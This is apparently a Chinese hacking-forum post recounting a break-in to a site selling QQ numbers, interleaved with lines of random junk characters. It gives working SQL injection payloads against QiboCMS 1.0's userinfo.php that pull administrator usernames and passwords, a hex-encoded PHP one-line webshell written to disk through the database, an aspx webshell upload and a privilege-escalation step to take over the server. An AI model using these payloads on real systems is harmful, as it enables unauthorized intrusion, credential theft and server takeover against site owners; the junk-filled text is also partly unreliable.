|
/ ]6 _6 U C$ _+ Q a& M' i3 {
' _0 y# b% i6 x' a1 y+ M" P3 {4 ?* d
" s3 z3 T) @9 D' }5 z3 _& p" r# r" l0 H5 x" |
一、踩点寻找漏洞
* s" j9 y% V, S. \' j4 a4 A5 d闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
0 t4 c. j5 K0 r3 l
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
5 n: f; E: l* K$ g% Y, r' M$ Q
先注册一个用户，记住注册时候的邮箱以uid号，
6 {5 _2 E- o: ^
5 Q4 V/ \* f* y- S- [3 l2 `/ o
, A( I) e* G% r! K/ W# m然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
0 C; E/ o6 M( g$ f$ K
5 ]8 k$ q; {0 M5 s! f9 y) t) E
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
$ R6 [# G( i/ `' g2 w& X/ w: i
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
7 B* H4 l! Y, V6 T0 g7 e
7 J1 ^4 \% W" D( U
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
+ X1 Y* K) C9 J: }" z2 D9 u
2 x( ~: p/ A) P6 _! F
2 C: j" c5 ] d: {7 t
解密进后台如图：
! E8 b; q5 B! B( }7 a0 {
3 Y) X$ R* X6 M) A# H
3 q0 d% i" i& V. ?, v. s( V
- u, n/ R2 o% j+ o- o二、后台getwebshell
! d% t. E+ {- C6 N7 c$ X进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
) V) [8 I. Z: s9 k2 p4 ]
0 E. ~8 c$ ?, E' T1 k( Q
) a" a k, \0 n6 X8 ^) i L
9 R: a8 c3 l; J然后点确定，添加提示
1 o7 C0 g- ?3 g: P" _ f
. m4 o$ J& ]1 o6 p" z5 x
. R4 Y/ d4 P$ l% f
1 a( _0 L7 q) H7 E: D8 g) s6 _$ C: H
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
3 ~2 ? Y) p1 X- a+ M5 Z2 E
" l5 `2 \6 r5 H! A* W0 G( Y
! ]7 f+ n( D5 C- Y, q9 ~+ _" D改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
4 `% p; D, A0 F' ` s6 `7 u( f) y
如图：
$ V8 q* @6 A, Y8 D, X
) w, _0 O& ]; H. n$ t) S( r* p
% R9 y e) K5 y6 C
+ T( r4 {8 o" b) I& `之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
6 W: W8 s4 K; d7 v" t# x9 Y
A9 S) r% S9 V
7 X; O6 ~ r' H/ \8 _2 N
+ K0 T8 ~) \* K: a1 t
三、提权进服务器
- g' Q$ t6 C* N! x) n: u经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
; ~: R6 A/ Q6 V# q
2 p4 ~9 u1 n, y, X
1 m8 ?4 M, L" I& y
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
3 H% M8 S. m2 i
6 i, o4 O6 M* I9 \* M# H' `% O
4 {+ e0 @# Y i2 ]% E; L# G. S8 R
然后登陆服务器如图：
2 n; }- j1 Z5 n; @8 b6 ~( J1 Q5 v
. c8 Y- n v, G& a/ y 5 w' f: m5 y2 X( G) f1 V9 w5 t
5 T P6 e1 j$ O Z$ w' r
( k6 `4 `5 F' j# K6 `
" e$ `- ~5 `. B0 ^; F3 h+ o1 A
难怪普通刀连接不上，原来是有狗。
$ r5 Y8 N+ k, [' M0 v/ ?3 k6 y
* Z. ]5 x/ P, j" s( I7 S* B" }# D6 Y9 K
5 z) g- ~* p- j$ _, E2 Z4 z
- x E6 h" Q/ V8 W+ M. |- l ! \4 S$ T2 j8 H! m3 X
# p) d/ e6 |$ W# a E3 q
; V R) O t/ l$ K' p
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对